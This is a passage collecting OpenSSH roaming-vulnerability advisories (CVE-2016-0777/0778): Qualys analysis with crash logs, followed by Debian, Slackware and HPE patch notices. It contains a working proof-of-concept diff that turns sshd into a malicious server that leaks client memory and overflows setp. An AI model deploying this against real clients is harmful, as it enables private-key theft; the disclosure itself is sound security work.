  • The method ssh_proxy_fdpass_connect() communicates with the server through a single socket received from the ProxyCommand: the two file descriptors connection_in and connection_out are both equal to this socket's file descriptor.

In wait_for_roaming_reconnect(), the low-numbered file descriptor of the old socket is close()d by packet_backup_state(), reused for sp[0] in ssh_proxy_fdpass_connect(), close()d again, and eventually reused again for the new socket: the new file descriptors connection_in and connection_out are equal to this old, low-numbered file descriptor, and cannot possibly overflow setp.

  • Because of the waitpid() bug described in the Mitigating Factors of the Information Leak section, the method ssh_proxy_fdpass_connect() calls fatal() before it returns to wait_for_roaming_reconnect(), and is therefore immune to this buffer overflow.

  • The method ssh_proxy_connect() communicates with the server through a ProxyCommand and two different pipes: the file descriptor connection_in is the read end of the second pipe (pout[0]), and the file descriptor connection_out is the write end of the first pipe (pin[1]):

180 static int 181 ssh_proxy_connect(const char host, u_short port, const char proxy_command) 182 { ... 184 int pin[2], pout[2]; ... 192 if (pipe(pin) < 0 || pipe(pout) < 0) 193 fatal("Could not create pipes to communicate with the proxy: %.100s", 194 strerror(errno)); ... 240 / Close child side of the descriptors. / 241 close(pin[0]); 242 close(pout[1]); ... 247 / Set the connection file descriptors. / 248 packet_set_connection(pout[0], pin[1]); 249 250 / Indicate OK return / 251 return 0; 252 }

In wait_for_roaming_reconnect(), the two old, low-numbered file descriptors connection_in and connection_out are both close()d by packet_backup_state(), and immediately reused for the pipe(pin) in ssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of these old, low-numbered file descriptors, and cannot possibly overflow setp.

On the other hand, the pipe(pout) in ssh_proxy_connect() may return high-numbered file descriptors, and the new connection_in (pout[0]) may therefore overflow setp, if hundreds of file descriptors were leaked before the call to wait_for_roaming_reconnect():

  • We discovered a file descriptor leak in the pubkey_prepare() function of OpenSSH >= 6.8; indeed, if the client is running an authentication agent that does not offer any private keys, the reference to agent_fd is lost, and this file descriptor is never close()d:

1194 static void 1195 pubkey_prepare(Authctxt *authctxt) 1196 { .... 1200 int agent_fd, i, r, found; .... 1247 if ((r = ssh_get_authentication_socket(&agent_fd)) != 0) { 1248 if (r != SSH_ERR_AGENT_NOT_PRESENT) 1249 debug("%s: ssh_get_authentication_socket: %s", 1250 func, ssh_err(r)); 1251 } else if ((r = ssh_fetch_identitylist(agent_fd, 2, &idlist)) != 0) { 1252 if (r != SSH_ERR_AGENT_NO_IDENTITIES) 1253 debug("%s: ssh_fetch_identitylist: %s", 1254 func, ssh_err(r)); 1255 } else { .... 1288 authctxt->agent_fd = agent_fd; 1289 } .... 1299 }

However, OpenSSH clients >= 6.8 crash in ssh_packet_restore_state() (because of the NULL-pointer dereference discussed in the Mitigating Factors of the Buffer Overflow section) and are immune to the setp overflow, despite this agent_fd leak.

  • If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH client (it is disabled by default), a malicious SSH server can request hundreds of forwardings, in order to increase connection_in (each forwarding opens a file descriptor), and thus overflow setp in packet_read_seqnr():

env ROAMING="overflow:A" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014

$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] *** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007f0474d03e70 *** Aborted (core dumped)

env ROAMING="overflow:X" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ /usr/bin/ssh -X -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] *** Error in /usr/bin/ssh': free(): invalid next size (fast): 0x00007fdcc2a3aba0 *** *** Error in/usr/bin/ssh': malloc(): memory corruption: 0x00007fdcc2a3abc0 ***

Finally, a brief digression on two unexpected problems that had to be solved in our proof-of-concept:

  • First, setp can be overflowed only in packet_read_seqnr(), not in packet_write_wait(), but agent forwarding and X11 forwarding are post- authentication functionalities, and post-authentication calls to packet_read() or packet_read_expect() are scarce, except in the key-exchange code of OpenSSH clients < 6.8: our proof-of-concept effectively forces a rekeying in order to overflow setp in packet_read_seqnr().

  • Second, after a successful reconnection, packet_read_seqnr() may call fatal("Read from socket failed: %.100s", ...), because roaming_read() may return EAGAIN (EAGAIN is never returned without the reconnection, because the preceding call to select() guarantees that connection_in is ready for read()). Our proof-of-concept works around this problem by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server, allowing data to reach the client before roaming_read() is called, thus avoiding EAGAIN.

======================================================================== Acknowledgments ========================================================================

We would like to thank the OpenSSH developers for their great work and their incredibly quick response, Red Hat Product Security for promptly assigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall Project for the interesting discussions.

======================================================================== Proof Of Concept ========================================================================

diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c --- openssh-6.4p1/auth2-pubkey.c 2013-07-17 23:10:10.000000000 -0700 +++ openssh-6.4p1+roaming/auth2-pubkey.c 2016-01-07 01:04:15.000000000 -0800 @@ -169,7 +169,9 @@ userauth_pubkey(Authctxt authctxt) * if a user is not allowed to login. is this an * issue? -markus / - if (PRIVSEP(user_key_allowed(authctxt->pw, key))) { + if (PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) { + debug("%s: force client-side load_identity_file", + func); packet_start(SSH2_MSG_USERAUTH_PK_OK); packet_put_string(pkalg, alen); packet_put_string(pkblob, blen); diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c --- openssh-6.4p1/kex.c 2013-06-01 14:31:18.000000000 -0700 +++ openssh-6.4p1+roaming/kex.c 2016-01-07 01:04:15.000000000 -0800 @@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX], }

static void +roaming_reconnect(void) +{ + packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME); + const u_int id = packet_get_int(); / roaming_id / + debug("%s: id %u", func, id); + packet_check_eom(); + + const char const dir = get_roaming_dir(id); + debug("%s: dir %s", func, dir); + const int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); + if (fd <= -1) + fatal("%s: open %s errno %d", func, dir, errno); + if (fchdir(fd) != 0) + fatal("%s: fchdir %s errno %d", func, dir, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, dir, errno); + + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED); + packet_put_int64(arc4random()); / chall / + packet_put_int64(arc4random()); / oldchall / + packet_send(); + + packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH); + const u_int64_t client_read_bytes = packet_get_int64(); + debug("%s: client_read_bytes %llu", func, + (unsigned long long)client_read_bytes); + packet_get_int64(); / digest (1-8) / + packet_get_int64(); / digest (9-16) / + packet_get_int(); / digest (17-20) / + packet_check_eom(); + + u_int64_t client_write_bytes; + size_t len = sizeof(client_write_bytes); + load_roaming_file("client_write_bytes", &client_write_bytes, &len); + debug("%s: client_write_bytes %llu", func, + (unsigned long long)client_write_bytes); + + u_int client_out_buf_size; + len = sizeof(client_out_buf_size); + load_roaming_file("client_out_buf_size", &client_out_buf_size, &len); + debug("%s: client_out_buf_size %u", func, client_out_buf_size); + if (client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF) + fatal("%s: client_out_buf_size %u", func, + client_out_buf_size); + + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK); + packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size); + packet_send(); + const int overflow = (access("output", F_OK) == 0); + if (overflow != 0) { + const void const ptr = load_roaming_file("output", NULL, &len); + buffer_append(packet_get_output(), ptr, len); + } + packet_write_wait(); + + char const client_out_buf = xmalloc(client_out_buf_size); + if (atomicio(read, packet_get_connection_in(), client_out_buf, + client_out_buf_size) != client_out_buf_size) + fatal("%s: read client_out_buf_size %u errno %d", func, + client_out_buf_size, errno); + if (overflow == 0) + dump_roaming_file("infoleak", client_out_buf, + client_out_buf_size); + fatal("%s: all done for %s", func, dir); +} + +static void kex_choose_conf(Kex kex) { Newkeys newkeys; @@ -470,6 +537,10 @@ kex_choose_conf(Kex kex) kex->roaming = 1; free(roaming); } + } else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) { + roaming_reconnect(); + / NOTREACHED / + fatal("%s: returned from %s", func, KEX_RESUME); }

/* Algorithm Negotiation */

diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h --- openssh-6.4p1/roaming.h 2011-12-18 15:52:52.000000000 -0800 +++ openssh-6.4p1+roaming/roaming.h 2016-01-07 01:04:15.000000000 -0800 @@ -42,4 +42,86 @@ void resend_bytes(int, u_int64_t ); void calculate_new_key(u_int64_t , u_int64_t, u_int64_t); int resume_kex(void);

+#include +#include +#include +#include +#include +#include + +#include "atomicio.h" +#include "log.h" +#include "xmalloc.h" + +static inline char * +get_roaming_dir(const u_int id) +{ + const size_t buflen = MAXPATHLEN; + char const buf = xmalloc(buflen); + + if ((u_int)snprintf(buf, buflen, "/tmp/roaming-%08x", id) >= buflen) + fatal("%s: snprintf %u error", func, id); + return buf; +} + +static inline void +dump_roaming_file(const char const name, + const void const buf, const size_t buflen) +{ + if (name == NULL) + fatal("%s: name %p", func, name); + if (strchr(name, '/') != NULL) + fatal("%s: name %s", func, name); + if (buf == NULL) + fatal("%s: %s buf %p", func, name, buf); + if (buflen <= 0 || buflen > MAX_ROAMBUF) + fatal("%s: %s buflen %lu", func, name, (u_long)buflen); + + const int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR); + if (fd <= -1) + fatal("%s: open %s errno %d", func, name, errno); + if (write(fd, buf, buflen) != (ssize_t)buflen) + fatal("%s: write %s errno %d", func, name, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, name, errno); +} + +static inline void * +load_roaming_file(const char const name, + void buf, size_t const buflenp) +{ + if (name == NULL) + fatal("%s: name %p", func, name); + if (strchr(name, '/') != NULL) + fatal("%s: name %s", func, name); + if (buflenp == NULL) + fatal("%s: %s buflenp %p", func, name, buflenp); + + const int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); + if (fd <= -1) + fatal("%s: open %s errno %d", func, name, errno); + struct stat st; + if (fstat(fd, &st) != 0) + fatal("%s: fstat %s errno %d", func, name, errno); + if (S_ISREG(st.st_mode) == 0) + fatal("%s: %s mode 0%o", func, name, (u_int)st.st_mode); + if (st.st_size <= 0 || st.st_size > MAX_ROAMBUF) + fatal("%s: %s size %lld", func, name, + (long long)st.st_size); + + if (buf == NULL) { + buflenp = st.st_size; + buf = xmalloc(buflenp); + } else { + if (buflenp != (size_t)st.st_size) + fatal("%s: %s size %lld buflen %lu", func, name, + (long long)st.st_size, (u_long)buflenp); + } + if (read(fd, buf, buflenp) != (ssize_t)buflenp) + fatal("%s: read %s errno %d", func, name, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, name, errno); + return buf; +} + #endif / ROAMING / diff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c --- openssh-6.4p1/serverloop.c 2013-07-17 23:12:45.000000000 -0700 +++ openssh-6.4p1+roaming/serverloop.c 2016-01-07 01:04:15.000000000 -0800 @@ -1060,6 +1060,9 @@ server_request_session(void) return c; }

+static int client_session_channel = -1; +static int server_session_channel = -1; + static void server_input_channel_open(int type, u_int32_t seq, void ctxt) { @@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in c->remote_window = rwindow; c->remote_maxpacket = rmaxpack; if (c->type != SSH_CHANNEL_CONNECTING) { + debug("%s: avoid client-side buf_append", func); + / packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); packet_put_int(c->remote_id); packet_put_int(c->self); packet_put_int(c->local_window); packet_put_int(c->local_maxpacket); packet_send(); + */ + if (strcmp(ctype, "session") == 0) { + if (client_session_channel != -1) + fatal("%s: client_session_channel %d", + func, client_session_channel); + client_session_channel = c->remote_id; + server_session_channel = c->self; + } } } else { debug("server_input_channel_open: failure %s", ctype); @@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in }

static void +roaming_disconnect(Kex const kex) +{ + const char cp, roaming = getenv("ROAMING"); + if (roaming == NULL) + roaming = "infoleak"; + int overflow = 0; + if ((cp = strstr(roaming, "overflow:")) != NULL) + overflow = cp[9]; + + const u_int client_recv_buf_size = packet_get_int(); + packet_check_eom(); + const u_int server_recv_buf_size = get_recv_buf_size(); + const u_int server_send_buf_size = get_snd_buf_size(); + debug("%s: client_recv_buf_size %u", func, client_recv_buf_size); + debug("%s: server_recv_buf_size %u", func, server_recv_buf_size); + debug("%s: server_send_buf_size %u", func, server_send_buf_size); + + u_int client_send_buf_size = 0; + if ((cp = strstr(roaming, "client_send_buf_size:")) != NULL) + client_send_buf_size = strtoul(cp + 21, NULL, 0); + else if (client_recv_buf_size == DEFAULT_ROAMBUF) + client_send_buf_size = DEFAULT_ROAMBUF; + else { + const u_int + max = MAX(client_recv_buf_size, server_recv_buf_size), + min = MIN(client_recv_buf_size, server_recv_buf_size); + if (min <= 0) + fatal("%s: min %u", func, min); + if (((u_int64_t)(max - min) * 1024) / min < 1) + client_send_buf_size = server_send_buf_size; + else + client_send_buf_size = client_recv_buf_size; + } + debug("%s: client_send_buf_size %u", func, client_send_buf_size); + if (client_send_buf_size <= 0) + fatal("%s: client_send_buf_size", func); + + u_int id = 0; + char dir = NULL; + for (;;) { + id = arc4random(); + debug("%s: id %u", func, id); + free(dir); + dir = get_roaming_dir(id); + if (mkdir(dir, S_IRWXU) == 0) + break; + if (errno != EEXIST) + fatal("%s: mkdir %s errno %d", func, dir, errno); + } + debug("%s: dir %s", func, dir); + if (chdir(dir) != 0) + fatal("%s: chdir %s errno %d", func, dir, errno); + + u_int client_out_buf_size = 0; + if ((cp = strstr(roaming, "client_out_buf_size:")) != NULL) + client_out_buf_size = strtoul(cp + 20, NULL, 0); + else if (overflow != 0) + client_out_buf_size = MAX_ROAMBUF; + else + client_out_buf_size = 1 + arc4random() % 4096; + debug("%s: client_out_buf_size %u", func, client_out_buf_size); + if (client_out_buf_size <= 0) + fatal("%s: client_out_buf_size", func); + dump_roaming_file("client_out_buf_size", &client_out_buf_size, + sizeof(client_out_buf_size)); + + if ((cp = strstr(roaming, "scp_mode")) != NULL) { + if (overflow != 0) + fatal("%s: scp_mode is incompatible with overflow %d", + func, overflow); + + u_int seconds_left_to_sleep = 3; + if ((cp = strstr(cp, "sleep:")) != NULL) + seconds_left_to_sleep = strtoul(cp + 6, NULL, 0); + debug("%s: sleep %u", func, seconds_left_to_sleep); + + if (client_session_channel == -1) + fatal("%s: client_session_channel %d", + func, client_session_channel); + + packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(client_session_channel); + packet_put_int(server_session_channel); + packet_put_int(0); / server window / + packet_put_int(0); / server maxpacket / + packet_send(); + + packet_start(SSH2_MSG_CHANNEL_DATA); + packet_put_int(client_session_channel); + packet_put_string("\0\n", 2); / response&source|sink&run_err / + packet_send(); + + packet_read_expect(SSH2_MSG_CHANNEL_REQUEST); + packet_get_int(); / server channel / + debug("%s: channel request %s", func, + packet_get_cstring(NULL)); + + while (seconds_left_to_sleep) + seconds_left_to_sleep = sleep(seconds_left_to_sleep); + } + + packet_start(SSH2_MSG_REQUEST_SUCCESS); + packet_put_int(id); / roaming_id / + packet_put_int64(arc4random()); / cookie / + packet_put_int64(0); / key1 / + packet_put_int64(0); / key2 / + packet_put_int(client_out_buf_size - client_send_buf_size); + packet_send(); + packet_write_wait(); + + if (overflow != 0) { + const u_int64_t full_client_out_buf = get_recv_bytes() + + client_out_buf_size; + + u_int fd_leaks = 4 * 8 * 8; / MIN_CHUNK_SIZE in bits / + if ((cp = strstr(roaming, "fd_leaks:")) != NULL) + fd_leaks = strtoul(cp + 9, NULL, 0); + debug("%s: fd_leaks %u", func, fd_leaks); + + while (fd_leaks--) { + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring(overflow == 'X' ? "x11" : + "auth-agent@openssh.com"); / ctype / + packet_put_int(arc4random()); / server channel / + packet_put_int(arc4random()); / server window / + packet_put_int(arc4random()); / server maxpacket / + if (overflow == 'X') { + packet_put_cstring(""); / originator / + packet_put_int(arc4random()); / port / + } + packet_send(); + + packet_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_get_int(); / server channel / + packet_get_int(); / client channel / + packet_get_int(); / client window / + packet_get_int(); / client maxpacket / + packet_check_eom(); + } + + while (get_recv_bytes() <= full_client_out_buf) { + packet_start(SSH2_MSG_GLOBAL_REQUEST); + packet_put_cstring(""); / rtype / + packet_put_char(1); / want_reply / + packet_send(); + + packet_read_expect(SSH2_MSG_REQUEST_FAILURE); + packet_check_eom(); + } + + if (kex == NULL) + fatal("%s: no kex, cannot rekey", func); + if (kex->flags & KEX_INIT_SENT) + fatal("%s: KEX_INIT_SENT already", func); + char const ptr = buffer_ptr(&kex->my); + const u_int len = buffer_len(&kex->my); + if (len <= 1+4) / first_kex_follows + reserved / + fatal("%s: kex len %u", func, len); + ptr[len - (1+4)] = 1; / first_kex_follows / + kex_send_kexinit(kex); + + u_int i; + packet_read_expect(SSH2_MSG_KEXINIT); + for (i = 0; i < KEX_COOKIE_LEN; i++) + packet_get_char(); + for (i = 0; i < PROPOSAL_MAX; i++) + free(packet_get_string(NULL)); + packet_get_char(); / first_kex_follows / + packet_get_int(); / reserved / + packet_check_eom(); + + char buf[81922]; / two packet_read_seqnr bufferfuls / + memset(buf, '\0', sizeof(buf)); + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL); + packet_put_string(buf, sizeof(buf)); + packet_send(); + const Buffer const output = packet_get_output(); + dump_roaming_file("output", buffer_ptr(output), + buffer_len(output)); + } + + const u_int64_t client_write_bytes = get_recv_bytes(); + debug("%s: client_write_bytes %llu", func, + (unsigned long long)client_write_bytes); + dump_roaming_file("client_write_bytes", &client_write_bytes, + sizeof(client_write_bytes)); + fatal("%s: all done for %s", func, dir); +} + +static void server_input_global_request(int type, u_int32_t seq, void ctxt) { char rtype; @@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_ } else if (strcmp(rtype, "no-more-sessions@openssh.com") == 0) { no_more_sessions = 1; success = 1; + } else if (strcmp(rtype, ROAMING_REQUEST) == 0) { + if (want_reply != 1) + fatal("%s: rtype %s want_reply %d", func, + rtype, want_reply); + roaming_disconnect(ctxt); + / NOTREACHED */ + fatal("%s: returned from %s", func, ROAMING_REQUEST); } if (want_reply) { packet_start(success ? diff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c --- openssh-6.4p1/sshd.c 2013-07-19 20:21:53.000000000 -0700 +++ openssh-6.4p1+roaming/sshd.c 2016-01-07 01:04:15.000000000 -0800 @@ -2432,6 +2432,8 @@ do_ssh2_kex(void) } if (options.kex_algorithms != NULL) myproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms; + else + myproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX "," KEX_RESUME;

if (options.rekey_limit || options.rekey_interval)
    packet_set_rekey_limits((u_int32_t)options.rekey_limit,

.

Users with passphrase-less privates keys, especially in non interactive setups (automated jobs using ssh, scp, rsync+ssh etc.) are advised to update their keys if they have connected to an SSH server they don't trust.

More details about identifying an attack and mitigations will be available in the Qualys Security Advisory.

For the oldstable distribution (wheezy), these problems have been fixed in version 1:6.0p1-4+deb7u3.

For the stable distribution (jessie), these problems have been fixed in version 1:6.7p1-5+deb8u1.

For the testing distribution (stretch) and unstable distribution (sid), these problems will be fixed in a later version.

We recommend that you upgrade your openssh packages. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

[slackware-security] openssh (SSA:2016-014-01)

New openssh packages are available for Slackware 13.0, 13.1, 13.37, 14.0, 14.1, and -current to fix security issues.

Here are the details from the Slackware 14.1 ChangeLog: +--------------------------+ patches/packages/openssh-7.1p2-i486-1_slack14.1.txz: Upgraded. This update fixes an information leak and a buffer overflow. For more information, see: https://www.qualys.com/2016/01/14/cve-2016-0777-cve-2016-0778/openssh-cve-2016-0777-cve-2016-0778.txt http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0777 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0778

  • IMPORTANT: READ BELOW ABOUT POTENTIALLY INCOMPATIBLE CHANGES *

Rather than backport the fix for the information leak (which is the only hazardous flaw), we have upgraded to the latest OpenSSH. As of version 7.0, OpenSSH has deprecated some older (and presumably less secure) algorithms, and also (by default) only allows root login by public-key, hostbased and GSSAPI authentication. Make sure that your keys and authentication method will allow you to continue accessing your system after the upgrade. The release notes for OpenSSH 7.0 list the following incompatible changes to be aware of: * Support for the legacy SSH version 1 protocol is disabled by default at compile time. * Support for the 1024-bit diffie-hellman-group1-sha1 key exchange is disabled by default at run-time. It may be re-enabled using the instructions at http://www.openssh.com/legacy.html * Support for ssh-dss, ssh-dss-cert- host and user keys is disabled by default at run-time. These may be re-enabled using the instructions at http://www.openssh.com/legacy.html * Support for the legacy v00 cert format has been removed. * The default for the sshd_config(5) PermitRootLogin option has changed from "yes" to "prohibit-password". * PermitRootLogin=without-password/prohibit-password now bans all interactive authentication methods, allowing only public-key, hostbased and GSSAPI authentication (previously it permitted keyboard-interactive and password-less authentication if those were enabled). ( Security fix *) +--------------------------+

Where to find the new packages: +-----------------------------+

Thanks to the friendly folks at the OSU Open Source Lab (http://osuosl.org) for donating FTP and rsync hosting to the Slackware project! :-)

Also see the "Get Slack" section on http://slackware.com for additional mirror sites near you.

Updated package for Slackware 13.0: ftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/openssh-7.1p2-i486-1_slack13.0.txz

Updated package for Slackware x86_64 13.0: ftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/openssh-7.1p2-x86_64-1_slack13.0.txz

Updated package for Slackware 13.1: ftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/openssh-7.1p2-i486-1_slack13.1.txz

Updated package for Slackware x86_64 13.1: ftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/openssh-7.1p2-x86_64-1_slack13.1.txz

Updated package for Slackware 13.37: ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/openssh-7.1p2-i486-1_slack13.37.txz

Updated package for Slackware x86_64 13.37: ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/openssh-7.1p2-x86_64-1_slack13.37.txz

Updated package for Slackware 14.0: ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/openssh-7.1p2-i486-1_slack14.0.txz

Updated package for Slackware x86_64 14.0: ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/openssh-7.1p2-x86_64-1_slack14.0.txz

Updated package for Slackware 14.1: ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/openssh-7.1p2-i486-1_slack14.1.txz

Updated package for Slackware x86_64 14.1: ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/openssh-7.1p2-x86_64-1_slack14.1.txz

Updated package for Slackware -current: ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/n/openssh-7.1p2-i586-1.txz

Updated package for Slackware x86_64 -current: ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/n/openssh-7.1p2-x86_64-1.txz

MD5 signatures: +-------------+

Slackware 13.0 package: 856dd9c1b10641c282f30a34b7b63bea openssh-7.1p2-i486-1_slack13.0.txz

Slackware x86_64 13.0 package: 80903b0829f0284d007e7a316f2ff2da openssh-7.1p2-x86_64-1_slack13.0.txz

Slackware 13.1 package: 2095d1a304a94bab44993fdb7e0781c8 openssh-7.1p2-i486-1_slack13.1.txz

Slackware x86_64 13.1 package: 5bf653d7f5b4a9426ff2c5888af99f00 openssh-7.1p2-x86_64-1_slack13.1.txz

Slackware 13.37 package: 53e09b4371c045b9de1c86e0826324f9 openssh-7.1p2-i486-1_slack13.37.txz

Slackware x86_64 13.37 package: cd0319ff3c574c50612d5ba2b38f2fdc openssh-7.1p2-x86_64-1_slack13.37.txz

Slackware 14.0 package: 98cdc1d6ffea2a06d0c8013078681bff openssh-7.1p2-i486-1_slack14.0.txz

Slackware x86_64 14.0 package: 2093f3e91a79e07f072c702a1704be73 openssh-7.1p2-x86_64-1_slack14.0.txz

Slackware 14.1 package: d051d9f31cd380436ad01fa1641be1c7 openssh-7.1p2-i486-1_slack14.1.txz

Slackware x86_64 14.1 package: f1f81757431c3c836f06ce5d22e2d5de openssh-7.1p2-x86_64-1_slack14.1.txz

Slackware -current package: 70db20c5e4152bc9967b1e24cf91ed98 n/openssh-7.1p2-i586-1.txz

Slackware x86_64 -current package: e13dc3da27f817bee693fbb907015817 n/openssh-7.1p2-x86_64-1.txz

Installation instructions: +------------------------+

Upgrade the package as root:

upgradepkg openssh-7.1p2-i486-1_slack14.1.txz

Next, restart the sshd daemon:

sh /etc/rc.d/rc.sshd restart

Then before logging out, make sure that you still have remote access! See the information about incompatible changes in OpenSSH 7.x above.

+-----+

Slackware Linux Security Team http://slackware.com/gpg-key security@slackware.com

+------------------------------------------------------------------------+ | To leave the slackware-security mailing list: | +------------------------------------------------------------------------+ | Send an email to majordomo@slackware.com with this text in the body of | | the email message: | | | | unsubscribe slackware-security | | | | You will get a confirmation message back containing instructions to | | complete the process. Please do not reply to this email address. | +------------------------------------------------------------------------+ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1

iEYEARECAAYFAlaYWioACgkQakRjwEAQIjOwpACfXviFRy4mQxr63HyYu9zLgZ+Z dVsAn0sLTJYcXuCSQYnXNp+FYuIKWjVh =dePf -----END PGP SIGNATURE----- . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

Note: the current version of the following document is available here: https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05247375

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c05247375 Version: 1

HPSBGN03638 rev.1 - HPE Remote Device Access: Virtual Customer Access System (vCAS) using lighttpd and OpenSSH, Unauthorized Modification of Information, Remote Denial of Service (DoS), Remote Disclosure of Information

NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.

Release Date: 2016-08-29 Last Updated: 2016-08-29

Potential Security Impact: Remote Denial of Service (DoS), Disclosure of Information, Unauthorized Modification Of Information

Source: Hewlett Packard Enterprise, Product Security Response Team

VULNERABILITY SUMMARY Potential vulnerabilities have been identified in the lighttpd and OpenSSH version used in HPE Remote Device Access: Virtual Customer Access System (vCAS). These vulnerabilities could be exploited remotely resulting in unauthorized modification of information, denial of service (DoS), and disclosure of information.

References:

CVE-2015-3200 CVE-2016-0777 CVE-2016-0778 PSRT110211

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. HPE Remote Device Access: Virtual Customer Access System (vCAS) - v15.07 (RDA 8.1) and earlier.

BACKGROUND

CVSS Base Metrics ================= Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector

CVE-2015-3200
  5.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  5.0 (AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVE-2016-0777
  6.5 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  4.0 (AV:N/AC:L/Au:S/C:P/I:N/A:N)

CVE-2016-0778
  9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)

Information on CVSS is documented in
HPE Customer Notice HPSN-2008-002 here:

https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499

RESOLUTION

HPE has made the following updates available to resolve the vulnerabilities in Remote Device Access: Virtual Customer Access System (vCAS)

vCAS 16.05 (RDA 8.7) kits - hp-rdacas-16.05-10482-vbox.ova and hp-rdacas-16.05-10482.ova.

The Oracle VirtualBox kit is available at: https://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482-vbox.ova

The VMware ESX(i) and VMware Player kit is available at: https://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482.ova

HISTORY Version:1 (rev.1) - 29 August 2016 Initial release

Third Party Security Patches: Third party security patches that are to be installed on systems running Hewlett Packard Enterprise (HPE) software products should be applied in accordance with the customer's patch management policy.

Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HPE Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hpe.com.

Report: To report a potential security vulnerability for any HPE supported product: Web form: https://www.hpe.com/info/report-security-vulnerability Email: security-alert@hpe.com

Subscribe: To initiate a subscription to receive future HPE Security Bulletin alerts via Email: http://www.hpe.com/support/Subscriber_Choice

Security Bulletin Archive: A list of recently released Security Bulletins is available here: http://www.hpe.com/support/Security_Bulletin_Archive

Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB.

3C = 3COM 3P = 3rd Party Software GN = HPE General Software HF = HPE Hardware and Firmware MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PV = ProCurve ST = Storage Software UX = HP-UX

Copyright 2016 Hewlett Packard Enterprise

